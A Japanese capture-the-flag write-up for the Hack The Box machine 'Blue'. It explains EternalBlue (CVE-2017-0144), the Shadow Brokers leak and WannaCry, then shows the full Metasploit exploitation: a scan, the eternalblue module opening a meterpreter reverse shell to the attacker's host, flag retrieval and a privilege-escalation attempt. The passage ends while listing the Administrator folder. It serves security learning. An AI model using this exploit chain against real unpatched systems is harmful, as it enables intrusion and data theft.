まえがき

この記事はBlueのWriteupになっています📝
普通のWriteupだと内容がかなり少なめになってしまったので、今回はEternalBlueについて簡単に説明していこうと思います。

Machine Info

Name : Blue
IP Address : 10.10.10.40
OS : Windows🪟

Recon

Port Scan - Nmap

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nmap 10.10.10.40 -Pn -v -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-02 16:16 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:16
Completed NSE at 16:16, 0.00s elapsed
Initiating NSE at 16:16
Completed NSE at 16:16, 0.00s elapsed
Initiating NSE at 16:16
Completed NSE at 16:16, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 16:16
Completed Parallel DNS resolution of 1 host. at 16:16, 0.05s elapsed
Initiating SYN Stealth Scan at 16:16
Scanning 10.10.10.40 [1000 ports]
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 139/tcp on 10.10.10.40
Discovered open port 135/tcp on 10.10.10.40
Discovered open port 49157/tcp on 10.10.10.40
Discovered open port 49153/tcp on 10.10.10.40
Discovered open port 49156/tcp on 10.10.10.40
Discovered open port 49154/tcp on 10.10.10.40
Discovered open port 49155/tcp on 10.10.10.40
Increasing send delay for 10.10.10.40 from 0 to 5 due to 140 out of 465 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 5 to 10 due to 11 out of 11 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 10 to 20 due to 14 out of 45 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 20 to 40 due to 11 out of 22 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 40 to 80 due to 11 out of 22 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 80 to 160 due to 11 out of 14 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 160 to 320 due to 11 out of 13 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 320 to 640 due to 11 out of 12 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 640 to 1000 due to 11 out of 11 dropped probes since last increase.
Discovered open port 49152/tcp on 10.10.10.40
Completed SYN Stealth Scan at 16:24, 422.68s elapsed (1000 total ports)
Initiating Service scan at 16:24
Scanning 9 services on 10.10.10.40
Service scan Timing: About 44.44% done; ETC: 16:26 (0:01:14 remaining)
Completed Service scan at 16:25, 63.95s elapsed (9 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.40
Retrying OS detection (try #2) against 10.10.10.40
Retrying OS detection (try #3) against 10.10.10.40
Retrying OS detection (try #4) against 10.10.10.40
Retrying OS detection (try #5) against 10.10.10.40
Initiating Traceroute at 16:25
Completed Traceroute at 16:25, 0.26s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 16:25
Completed Parallel DNS resolution of 2 hosts. at 16:25, 0.12s elapsed
NSE: Script scanning 10.10.10.40.
Initiating NSE at 16:25
Completed NSE at 16:25, 15.57s elapsed
Initiating NSE at 16:25
Completed NSE at 16:25, 0.00s elapsed
Initiating NSE at 16:25
Completed NSE at 16:25, 0.00s elapsed
Nmap scan report for 10.10.10.40
Host is up (0.29s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/2%OT=135%CT=1%CU=33290%PV=Y%DS=2%DC=T%G=Y%TM=6593
OS:BA6E%P=aarch64-unknown-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=I%CI=I%II=I
OS:%SS=S%TS=7)OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8S
OS:T11%O5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=20
OS:00%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=8
OS:0%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(
OS:R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F
OS:=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%
OS:T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD
OS:=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE
OS:(R=Y%DFI=N%T=80%CD=Z)

Uptime guess: 0.007 days (since Tue Jan  2 16:15:34 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-01-02T07:25:25+00:00
| smb2-time: 
|   date: 2024-01-02T07:25:26
|_  start_date: 2024-01-02T07:15:48
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 3s, deviation: 2s, median: 1s

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   260.96 ms 10.10.14.1
2   261.22 ms 10.10.10.40

NSE: Script Post-scanning.
Initiating NSE at 16:25
Completed NSE at 16:25, 0.00s elapsed
Initiating NSE at 16:25
Completed NSE at 16:25, 0.00s elapsed
Initiating NSE at 16:25
Completed NSE at 16:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 515.84 seconds
           Raw packets sent: 1782 (81.978KB) | Rcvd: 1108 (47.862KB)

ポートはたくさん開いている。445 Port気になりますねぇ！！

Identification of Vulnerbility

①マシンの名前がBlueであること
②Windows Machineであること
③445 Portが開いていること

正攻法ではないかもだが、この3つからEternalBlueが容易に考えられるだろう。
ここから先は少しだけEternalBlue関することについて説明する。

※Writeupだけ見たい方は読み飛ばしてもらってOK😉

CVE-2017-0144 - EternalBlue

- EternalBlue Leaks

EternalBlueのリークには The Shadow Brokers と呼ばれるハッカーグループが関係している。アメリカ国家安全保障局 NSA のハッキングツールやエクスプロイトを盗み Lost in Translation というメッセージを通して情報公開をした。

Lost in Translation - theshadowbrokers

KEK...last week theshadowbrokers be trying to help peoples.This week theshadowbrokers be thinking fuck peoples. Any other peoples be having same problem? So this week is being about money. TheShadowBrokers showing you cards theshadowbrokers wanting you to be seeing. Sometime peoples not being target audience. Follow the links for the new dumps. Win-dows. Swift. Oddjob. Oh you thought that was it? Some of you peoples is needing reading comprehension.
https://XXXXXXXXXX....
Password = Reeeeeeeeeeeeeee

Lost in Translation - theshadowbrokers 【※限界ちゃん意訳】

wwww.... 先週、The Shadow Brokersは人助けをしようとしてたんだよ。でもさぁ、今週はぶっちゃけ人なんてどうでもいいって感じかな。
同じような問題持っている人いるかな？だからさ、今週は金稼ぎの話をしよっか。

俺たちThe Shadow Brokersがカードを見せたげる！見てみなよ。誰もがターゲットじゃないってわけさ。新しいリークのリンクを追ってみなよ。Win-dows、Swift、Oddjobのことだ。
おっと、これだけだと思った？ちょっと読解力が足りないバカもいるみたいだね(笑)
https://XXXXXXXXXX....
Password = Reeeeeeeeeeeeeee

FuzzBunchとよばれるエクスプロイト集やDanderSpritzというツールがリンクと共に公開されていた。今現在リンクには飛ぶことは不可能だがgithubには存在する。

このFuzzBunchに今回のEternalBlueも含まれていたのだ。

これらTheShadowBrokersによって行われたリークはサイバーセキュリティ史における重要な出来事となり、多大な影響を持つ大規模なサイバー攻撃のきっかけにもなった。

- How does EternalBlue works

ここからはEternalBlueの仕組みについてみていこう。

EternalBlueの脆弱性はWindows SMBv1(Server Message Block version 1)のプロトコルに関連する。

SMBv1って？？

Microsoft社が開発したネットワークファイル共有をするときに決めるお約束事。Windowsシステム間でファイル・プリンタ・その他のネットワークリソースの共有ができるようになる。

肝になってくるのが、SMBv1コード内にあるカーネル関数srv!SrvOs2FeaListToNtちゃん。

srv!SrvOs2FeaListToNtにあるバッファオーバーフローを利用することによって、メモリの非ページプール領域にオーバーフローが発生して不正アクセスができるようになる。....何言っているのかわからん！という人もいるはず。もう少し説明していく。

srv!SrvOs2FeaListToNtはWindows SMBサーバー機能内で拡張ファイル属性（FEA）のサイズ計算に使われる関数。

ほんとは大きいサイズのデータ型なのに小さなデータ型を使用してしまうような、不適切な型変換をすることで実際のデータサイズを反映することができず、FEAサイズ計算をsrv!SrvOs2FeaListToNtちゃんがミスってしまう。
計算をミスるとシステムはFEAデータを格納するためのメモリ領域の幅とりもミスってしまう。
幅とりをミスる(本当はデカいのに小さい幅しか用意しなかった)と、元々あったデータが上書きされてしまう。これがバッファオーバーフローを引き起こす。

この幅とりが行われるメモリ領域のことを非ページプールと呼ばれる。

非ページプールって？

コンピュータのメモリにはRAMとよばれる物理メモリがあり、そこでプログラムやデータが実際に実行やアクセスを行う場所になっている。
コンピュータが物理メモリのデータを効率的に管理する方法の一つとして「ページング」というものがある。ページングをすると、物理メモリ内のデータが「ページ」という小さな単位にわけることができ、必要なデータのみを効率的に扱うことができる。

これを踏まえ、非ページプールとはカーネルが使用するメモリの一部で、ページングの対象にならない領域のことを言う。
すなわち、非ページプール内のデータは物理メモリ上に常駐していて、ページングによるデータ移動はなされない。これによってカーネルが高速で効率的にデータにアクセスすることが可能だ。

この非ページプールで上記のようなことが起きてバッファオーバーフローが引き起こされると、別ドライバのメモリ領域が使用されてしまう。
詳しくは、SRVNET.sysと呼ばれるドライバのメモリ領域が上書きされてしまうことになるのだ。

SMBプロトコルを使用したネットワーク通信をする時にSRVNET.sysは認証やアクセス制御に関する情報を処理する必要がある。このため、認証トークンやセキュリティ関連のデータが一時的にSRVNET.sysのメモリ領域に保存される。

そのため上書きされるということはこれらのリソースやセッション情報、認証データ等が失われてしまうだけでなく、攻撃者がこれらの情報を悪用して不正アクセスを行えてしまうのだ。

- WannaCry

EternalBlueを利用したインシデントは複数あるが、その中でも記憶が鮮明なのがWannaCryだろう。

こんな画面出てきたら、だれでも泣きたくなるよね。

2017年に世界中で大きな被害をもたらしたランサムウェアとワームの複合体だ。
EternalBlueの脆弱性を利用してシステムに侵入すると、感染したマシンのファイルシステムを探索する。探索時には価値のあるデータである、特定のファイル拡張子や重要なファイル・データベース・文書・写真をターゲットにする。
ターゲットにしたファイルをAES(Advances Encryption Standard)という解読するのが非常に難しいアルゴリズムをつかって暗号化をする。

AESやCryptoの勉強をしたい人は分かりやすくまとまっている。これおすすめ。

暗号化プロセスの際、WannaCryは各ファイルに対しての暗号化キーを作る(AESは共通鍵暗号なので、暗号化と複合には同じキーを使用する)。暗号化が終わると、暗号化されたWannaCryは暗号化されたファイルの拡張子を「.WCRY」や「.WCRYT」に変更する。
仮想通貨であるビットコイン等で身代金を払うことで、復号の際のキーが渡される場合があるが復号という絶対的な保証はできない。

WannaCryによって数十億ドル以上の経済的損失が起き、世界的な影響を及ぼした。
今回の最も直接的な原因としては、やはりセキュリティパッチの未適用だろう。MicrosoftはEternalBlueに対する修正プログラムを提供していたにもかかわらず、多くの組織や個人は適用していなかったのが現実。

このWannaCryが発生して以降、全体的にセキュリティ意識が向上したかもしれない。でも、組織や個人で未だにセキュリティパッチを適用していないのを結構見かける。

結局、同じ過ちを繰り返すことになってしまうのだろうか...。個々のセキュリティ意識に関しても今後の課題点であることも改めて自分も考えさせられた。

Exploit the Vulnerbility

さて、EternalBlueと見当がついたところで実際に攻撃を仕掛けていこう。

metasploit

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many 
platforms using sessions -u <session_id>
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.3.43-dev                          ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post       ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search eternal

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

search eternalで探すと早速みつかる。このモジュールを使ってエクスプロイトしていこう。
show optionsで必要箇所の設定を確認しながら、設定を行なっていく。

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
                                             basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Wind
                                             ows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines
                                             .
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows
                                             Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 200
                                             8 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.236.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.4
LHOST => 10.10.14.4

実行する。

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.40:49158) at 2024-01-02 16:38:18 +0900
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

ちゃんとささってくれたようですね。とりあえずルートディレクトリに移動する。

C:\Windows\system32>cd /
cd /

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\

14/07/2009  03:20    <DIR>          PerfLogs
18/02/2022  15:02    <DIR>          Program Files
14/07/2017  16:58    <DIR>          Program Files (x86)
14/07/2017  13:48    <DIR>          Share
21/07/2017  06:56    <DIR>          Users
02/01/2024  07:20    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)   3,031,953,408 bytes free

C:\>cd Users
cd Users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Users

21/07/2017  06:56    <DIR>          .
21/07/2017  06:56    <DIR>          ..
21/07/2017  06:56    <DIR>          Administrator
14/07/2017  13:45    <DIR>          haris
12/04/2011  07:51    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)   3,031,953,408 bytes free

harisというユーザーを発見できる。harisのデスクトップ下まで移動してみよう。

C:\Users>cd haris
cd haris

C:\Users\haris>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Users\haris

14/07/2017  13:45    <DIR>          .
14/07/2017  13:45    <DIR>          ..
15/07/2017  07:58    <DIR>          Contacts
24/12/2017  02:23    <DIR>          Desktop
15/07/2017  07:58    <DIR>          Documents
15/07/2017  07:58    <DIR>          Downloads
15/07/2017  07:58    <DIR>          Favorites
15/07/2017  07:58    <DIR>          Links
15/07/2017  07:58    <DIR>          Music
15/07/2017  07:58    <DIR>          Pictures
15/07/2017  07:58    <DIR>          Saved Games
15/07/2017  07:58    <DIR>          Searches
15/07/2017  07:58    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)   3,031,953,408 bytes free

C:\Users\haris>cd Desktop
cd Desktop

C:\Users\haris\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Users\haris\Desktop

24/12/2017  02:23    <DIR>          .
24/12/2017  02:23    <DIR>          ..
02/01/2024  07:16                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,031,953,408 bytes free

C:\Users\haris\Desktop>type user.txt
type user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag

Privilege Escalation

結論から先に書くと、今回は権限昇格する必要性がない。自分は確認不足だったためsuggesterを使って権限昇格を試してしまった。反省である。

C:\Users\haris\Desktop>^Z
Background channel 1? [y/N]  y
meterpreter > 
Background session 1? [y/N]  
msf6 exploit(windows/smb/ms17_010_eternalblue) > search suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 exploit(windows/smb/ms17_010_eternalblue) > use 0
msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION          1                yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.10.40 - Collecting local exploits for x64/windows...
[*] 10.10.10.40 - 188 exploit checks are being tried...
[+] 10.10.10.40 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.40 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 10.10.10.40 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.10.10.40 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 10.10.10.40 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
[+] 10.10.10.40 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.10.10.40 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.40 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.40 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 10.10.10.40 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.40 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.40 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 10.10.10.40 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 45 / 45
[*] 10.10.10.40 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/cve_2019_1458_wizardopium                Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
 4   exploit/windows/local/cve_2020_1054_drawiconex_lpe             Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/cve_2021_40449                           Yes                      The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
 6   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 7   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 8   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 9   exploit/windows/local/ms16_014_wmi_recv_notif                  Yes                      The target appears to be vulnerable.
 10  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 11  exploit/windows/local/ms16_075_reflection                      Yes                      The target appears to be vulnerable.
 12  exploit/windows/local/ms16_075_reflection_juicy                Yes                      The target appears to be vulnerable.
 13  exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.
 14  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
 15  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.
 16  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
 17  exploit/windows/local/bypassuac_dotnet_profiler                No                       The target is not exploitable.
 18  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
 19  exploit/windows/local/bypassuac_sdclt                          No                       The target is not exploitable.
 20  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.
 21  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found
 22  exploit/windows/local/capcom_sys_exec                          No                       The target is not exploitable.
 23  exploit/windows/local/cve_2020_0796_smbghost                   No                       The target is not exploitable.
 24  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.
 25  exploit/windows/local/cve_2020_1313_system_orchestrator        No                       The target is not exploitable.
 26  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.
 27  exploit/windows/local/cve_2020_17136                           No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!
 28  exploit/windows/local/cve_2021_21551_dbutil_memmove            No                       The target is not exploitable.
 29  exploit/windows/local/cve_2022_21882_win32k                    No                       The target is not exploitable.
 30  exploit/windows/local/cve_2022_21999_spoolfool_privesc         No                       The target is not exploitable. Windows 7 is technically vulnerable, though it requires a reboot.
 31  exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver  No                       The target is not exploitable.
 32  exploit/windows/local/cve_2023_21768_afd_lpe                   No                       The target is not exploitable. The exploit only supports Windows 11 22H2
 33  exploit/windows/local/cve_2023_28252_clfs_driver               No                       The target is not exploitable. The target system does not have clfs.sys in system32\drivers\
 34  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found
 35  exploit/windows/local/ikeext_service                           No                       The check raised an exception.
 36  exploit/windows/local/lexmark_driver_privesc                   No                       The target is not exploitable. No Lexmark print drivers in the driver store
 37  exploit/windows/local/ms15_078_atmfd_bof                       No                       The target is not exploitable.
 38  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.
 39  exploit/windows/local/nvidia_nvsvc                             No                       The check raised an exception.
 40  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.
 41  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found
 42  exploit/windows/local/srclient_dll_hijacking                   No                       The target is not exploitable. Target is not Windows Server 2012.
 43  exploit/windows/local/virtual_box_opengl_escape                No                       The target is not exploitable.
 44  exploit/windows/local/webexec                                  No                       The check raised an exception.
 45  exploit/windows/local/win_error_cve_2023_36874                 No                       The target is not exploitable.

[*] Post module execution completed

ここで試してみるとこんなメッセージが出てくる。

msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set session 1
session => 1
msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(windows/local/cve_2019_1458_wizardopium) > run

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[-] Exploit aborted due to failure: none: Session is already elevated
[*] Exploit completed, but no session was created.

これね。つまり...まあ、、そういうことだ。

[-] Exploit aborted due to failure: none: Session is already elevated

では先ほどのセッションに戻ってRootフラグ取得に戻ろう。Administratorに移動。

C:\>cd Users
cd Users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Users

21/07/2017  06:56    <DIR>          .
21/07/2017  06:56    <DIR>          ..
21/07/2017  06:56    <DIR>          Administrator
14/07/2017  13:45    <DIR>          haris
12/04/2011  07:51    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)   2,695,577,600 bytes free

C:\Users>cd Administrator
cd Administrator

C:\Users\Administrator>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Users\Administrator

21/07/2017  06:56    <DIR>          .
21/07/2017  06:56    <DIR>          ..
21/07/2017  06:56    <DIR>          Contacts
24/12/2017  02:22    <DIR>          Desktop
21/07/2017  06:56    <DIR>          Documents
18/02/2022  15:21    <DIR>          Downloads
21/07/2017  06:56    <DIR>          Favorites
21/07/2017  06:56    <DIR>          Links
21/07/2017  06:56    <DIR>          Music
21/07/2017  06:56    <DIR>          Pictures
21/07/2017  06:56    <DIR>          Saved Games
21/07/2017  06:56    <DIR>          Searches
21/07/2017  06:56    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)   2,695,577,600 bytes free

